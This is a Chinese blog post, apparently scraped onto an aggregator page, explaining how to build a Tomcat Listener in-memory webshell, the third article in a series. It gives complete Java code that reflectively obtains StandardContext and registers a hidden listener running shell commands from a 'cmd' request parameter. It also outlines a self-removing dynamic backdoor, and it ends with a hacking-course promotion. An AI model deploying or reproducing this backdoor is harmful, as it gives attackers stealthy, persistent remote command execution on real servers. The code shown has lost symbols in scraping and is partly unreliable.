当前位置: 首页 > news >正文

甘肃省住房与城乡建设厅网站首页莱芜新闻直播

甘肃省住房与城乡建设厅网站首页,莱芜新闻直播,企业咨询管理培训公司,科技软件写在前面 继前面的FilterServlet内存马技术#xff0c;这是系列文章的第三篇了#xff0c;这篇将给大家带来的是Listener内存马技术。 前置 什么是Listener#xff1f; 监听器 Listener 是一个实现特定接口的 Java 程序#xff0c;这个程序专门用于监听另一个 Java 对象…写在前面 继前面的FilterServlet内存马技术这是系列文章的第三篇了这篇将给大家带来的是Listener内存马技术。 前置 什么是Listener 监听器 Listener 是一个实现特定接口的 Java 程序这个程序专门用于监听另一个 Java 对象的方法调用或属性改变当被监听对象发生上述事件后监听器某个方法将立即自动执行。 监听器的相关概念 事件方法调用、属性改变、状态改变等。 事件源被监听的对象 例如request、session、servletContext。 监听器用于监听事件源对象 事件源对象状态的变化都会触发监听器。 注册监听器将监听器与事件源进行绑定 监听器 Listener 按照监听的事件划分可以分为 3 类 监听对象创建和销毁的监听器 监听对象中属性变更的监听器 监听 HttpSession 中的对象状态改变的监听器 Listener的简单案例 在Tomcat中创建Listener有两种方式 使用web.xml中的listener标签创建 使用WebListener注册监听器 我们创建一个实现了javax.servlet.ServletRequestListener接口的类。 package pres.test.momenshell;import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;public class ListenerTest implements ServletRequestListener {Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {System.out.println(destroy Listener!);}Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {System.out.println(initial Listener!);} }将会在请求开始和请求结束分别执行requestInitialized或者requestDestroyed方法中的逻辑 之后再web.xml中配置Listener。 listenerlistener-classpres.test.momenshell.ListenerTest/listener-class /listener之后开启tomcat容器。 在请求前和请求后都会执行对应逻辑。 Listener流程分析 首先给出程序到requestInitialized方法之前的调用栈。 requestInitialized:14, ListenerTest (pres.test.momenshell) fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core) invoke:121, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:364, CoyoteAdapter (org.apache.catalina.connector) service:624, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)将会到达StandardHostValve#invoke方法。 调用了StandardContext#fireRequestInitEvent方法进行请求初始化。 在其中程序通过扫描web.xml中得到了对应的实例化对象因为我们在web.xml中做出了对应的配置所以我们能够通过if (instance ! null instance instanceof ServletRequestListener)的判断进而调用了listener的requestInitialized方法。 即为我们的ListenerTest#requestInitialized方法。 正文 有了上面的相关基础更能加深对内存马的理解。 分析注入 同样在javax.servlet.ServletContext中对于addListener有三种重载方式。 跟进api中的注解 能够实现的的监听器有 ServletContextListener用于监听整个 Servlet 上下文创建、销毁 ServletContextAttributeListener对 Servlet 上下文属性进行监听增删改属性 ServletRequestListener对 Request 请求进行监听创建、销毁 ServletRequestAttributeListener对 Request 属性进行监听增删改属性 javax.servlet.http.HttpSessionListener对 Session 整体状态的监听 javax.servlet.http.HttpSessionAttributeListener对 Session 属性的监听 每一种 接口有着不同的方法存在就比如ServletRequestListener这个监听器。 存在有requestDestroyed和requestInitialized方法进行请求前和请求后的监听又或者是ServletRequestAttributeListener这个监听器。 存在有attributeAddedattributeRemovedattributeReplaced分别对属性增 / 属性删 / 属性替换做出了监听。 但是这些监听器都是继承同一个接口EventListener我们可以跟进一下addListener在Tomcat中的实现 在org.apache.catalina.core.ApplicationContext#addListener中。 如果这里传入的是一个ClassName将会将其进行实例化之后判断是否实现了EventListener接口也就是是否在监听类中实现了特性的监听器。 如果实现了这个标志接口将会将其强转为EventListener并传入addListener的重载方法。 同样和前面类似不能在程序运行过程中进行Listener的添加并且如果的监听器是ServletContextAttributeListener ServletRequestListener ServletRequestAttributeListener HttpSessionIdListener HttpSessionAttributeListener的时候将会通过调用StardardContext#addApplicationEventListener添加监听器 又如果是HttpSessionListener ServletContextListener将会调用addApplicationLifecycleListener方法进行监听器的添加 通过上面的分析我们不难得到Listener内存马中关于ServletRequestListener 这个监听器的实现步骤 首先获取到StardardContext对象 之后创建一个实现了ServletRequestListener 接口的监听器类 再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加 实现内存马 有了上面的步骤我们就能够构造内存马 首先通过循环的方式获取StandardContext对象。 ServletContext servletContext req.getServletContext(); StandardContext o null; while (o null) { //循环从servletContext中取出StandardContextField field servletContext.getClass().getDeclaredField(context);field.setAccessible(true);Object o1 field.get(servletContext);if (o1 instanceof ServletContext) {servletContext (ServletContext) o1;} else if (o1 instanceof StandardContext) {o (StandardContext) o1;} }之后创建一个监听器类, 我这里同样是一段任意代码执行的构造通过reponse写进行回显操作。 class Mylistener implements ServletRequestListener {Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {ServletRequest request servletRequestEvent.getServletRequest();if (request.getParameter(cmd) ! null) {try {String cmd request.getParameter(cmd);boolean isLinux true;String osType System.getProperty(os.name);if (osType ! null osType.toLowerCase().contains(win)) {isLinux false;}String[] cmds isLinux ? new String[]{/bin/sh, -c, cmd} : new String[]{cmd.exe, /c, cmd};InputStream inputStream Runtime.getRuntime().exec(cmds).getInputStream();Scanner s new Scanner(inputStream).useDelimiter(\\a);String output s.hasNext() ? s.next() : ;Field request1 request.getClass().getDeclaredField(request);request1.setAccessible(true);Request request2 (Request) request1.get(request);request2.getResponse().getWriter().write(output);} catch (IOException e) {e.printStackTrace();} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}}}Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {} }最后当然就是将Listen添加。 Mylistener mylistener new Mylistener(); //添加listener o.addApplicationEventListener(mylistener);得到完整的内存马。 package pres.test.momenshell;import org.apache.catalina.connector.Request; import org.apache.catalina.core.StandardContext;import javax.servlet.*; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;public class AddTomcatListener extends HttpServlet {Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {ServletContext servletContext req.getServletContext();StandardContext o null;while (o null) { //循环从servletContext中取出StandardContextField field servletContext.getClass().getDeclaredField(context);field.setAccessible(true);Object o1 field.get(servletContext);if (o1 instanceof ServletContext) {servletContext (ServletContext) o1;} else if (o1 instanceof StandardContext) {o (StandardContext) o1;}}Mylistener mylistener new Mylistener();//添加listenero.addApplicationEventListener(mylistener);} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}} } class Mylistener implements ServletRequestListener {Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {ServletRequest request servletRequestEvent.getServletRequest();if (request.getParameter(cmd) ! null) {try {String cmd request.getParameter(cmd);boolean isLinux true;String osType System.getProperty(os.name);if (osType ! null osType.toLowerCase().contains(win)) {isLinux false;}String[] cmds isLinux ? new String[]{/bin/sh, -c, cmd} : new String[]{cmd.exe, /c, cmd};InputStream inputStream Runtime.getRuntime().exec(cmds).getInputStream();Scanner s new Scanner(inputStream).useDelimiter(\\a);String output s.hasNext() ? s.next() : ;Field request1 request.getClass().getDeclaredField(request);request1.setAccessible(true);Request request2 (Request) request1.get(request);request2.getResponse().getWriter().write(output);} catch (IOException e) {e.printStackTrace();} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}}}Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {} }内存马实验 这里同样使用在系列文章第一篇中提到的IndexServlet进行实验。 public class IndexServlet extends HttpServlet {Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String message Tomcat project!;String id req.getParameter(id);StringBuilder sb new StringBuilder();sb.append(message);if (id ! null id ! null) {sb.append(\nid: ).append(id); //拼接id}resp.getWriter().println(sb);} }将会对传入参数id进行回显 之后配置addTomcatListener路由的Servlet进行内存马的注入。 这是最开始进行访问的情况。 访问addTomcatListener路由进行内存马的注入。 再次访问/index并传入cmd参数。 发现不仅仅回显了我传入的id参数同样进行了命令的执行。 其他的花样构造 在api中支持的监听器中还有很多其他的监听器可以进行内存马的实现这里仅仅是对其中一个比较方法的监听器进行了说明。 比如说ServletRequestAttributeListener这个监听器在分析注入那里也有所提及我们通要可以将我们的恶意代码插入在 这些方法中进行对应的操作进行内存马的触发。 根据su18提供的一种攻击思路。 由于在 ServletRequestListener 中可以获取到 ServletRequestEvent这其中又存了很多东西ServletContext/StandardContext 都可以获取到那玩法就变得更多了。可以根据不同思路实现很多非常神奇的功能我举个例子 在 requestInitialized 中监听如果访问到了某个特定的 URL或这次请求中包含某些特征可以拿到 request 对象随便怎么定义则新起一个线程去 StandardContext 中注册一个 Filter可以实现某些恶意功能。 在 requestDestroyed 中再起一个新线程 sleep 一定时间后将我们添加的 Filter 卸载掉。 这样我们就有了一个真正的动态后门只有用的时候才回去注册它用完就删 总结 也在这里总结一下这三种的执行顺序和特性。 他们的执行顺序分别是Listener Filter Servlet Servlet 在用户请求路径与处理类映射之处添加一个指定路径的指定处理类 Filter在用户处理类之前的用来对请求进行额外处理提供额外功能的类 Listener在 Filter 之外的监听进程。 总的来说Listener内存马比前两篇的危害更大更具有隐藏性且能够有更多的构造方式 最后贴一下我总结的内存马编写流程 首先获取到StardardContext对象 之后创建一个实现了ServletRequestListener 接口的监听器类 再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加 最后 分享一个快速学习【网络安全】的方法「也许是」最全面的学习方法 1、网络安全理论知识2天 ①了解行业相关背景前景确定发展方向。 ②学习网络安全相关法律法规。 ③网络安全运营的概念。 ④等保简介、等保规定、流程和规范。非常重要 2、渗透测试基础一周 ①渗透测试的流程、分类、标准 ②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking ③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察 ④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等 3、操作系统基础一周 ①Windows系统常见功能和命令 ②Kali Linux系统常见功能和命令 ③操作系统安全系统入侵排查/系统加固基础 4、计算机网络基础一周 ①计算机网络基础、协议和架构 ②网络通信原理、OSI模型、数据转发流程 ③常见协议解析HTTP、TCP/IP、ARP等 ④网络攻击技术与网络安全防御技术 ⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现 5、数据库基础操作2天 ①数据库基础 ②SQL语言基础 ③数据库安全加固 6、Web渗透1周 ①HTML、CSS和JavaScript简介 ②OWASP Top10 ③Web漏洞扫描工具 ④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等 恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k。 到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗 想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取 扫下方二维码免费领取 有了这些基础如果你要深入学习可以参考下方这个超详细学习路线图按照这个路线学习完全够支撑你成为一名优秀的中高级网络安全工程师 高清学习路线图或XMIND文件点击下载原文件 还有一些学习中收集的视频、文档资源有需要的可以自取 每个成长路线对应板块的配套视频 当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。 因篇幅有限仅展示部分资料需要的可以【扫下方二维码免费领取】
http://www.tj-hxxt.cn/news/130334.html

相关文章:

  • 可以直接进入网站的正能量移动网站有哪些
  • c to c网站开发网络设计目标及设计思想
  • 网站服务器部署宁波黄页网
  • 赣州做网站什么价格网页设计素材与效果图
  • 自己建私人网站做外贸不好做上海城乡建设学校网站
  • 成都做网站建设wordpress清除所有评论
  • 哪里做网站最好网站网站图片轮播怎么做
  • 苏州网站建设网络vps服务器购买
  • 常州网站建设百科网站空间是虚拟机吗
  • wordpress建立商业网站怎么样模仿网站
  • 建设网站与服务器wordpress 版本查询
  • 动力网站长沙企业模板建站
  • 做设计必看十大网站网站文章关键字密度
  • 在线购物网站网站生成器下载
  • 开发app和做网站深圳华南城网站建设
  • 外贸网站建设费用情况网站建设都有什么类型
  • 2023免费网站推广wordpress超出最大上传
  • 成都企业网站商城定制北京公司注册哪个园区免费
  • 怎么自创网站什么是跨境电商平台
  • 自适应企业网站源码建设工程合同包括哪些
  • 网站优化和提升网站排名怎么做如何建设网络营销网站
  • 官方网站下载方法景安wordpress主机
  • 个人资料库网站怎么做商业设计理念
  • 网站建设流程策划方案网站建设管理员工工资多少
  • 免费企业营销网站制作wordpress怎么只显示标题和摘要
  • 海淘网站是谁做的上海有什么好玩的
  • 建设部网站城建学院合肥建设工程市场价格信息网
  • 吉林市网站建设做电商运营还是网站运营哪个好
  • 手机网站模板 html5 下载工具手机触屏网站制作软件
  • wordpress建站需要多久成都设计公司名字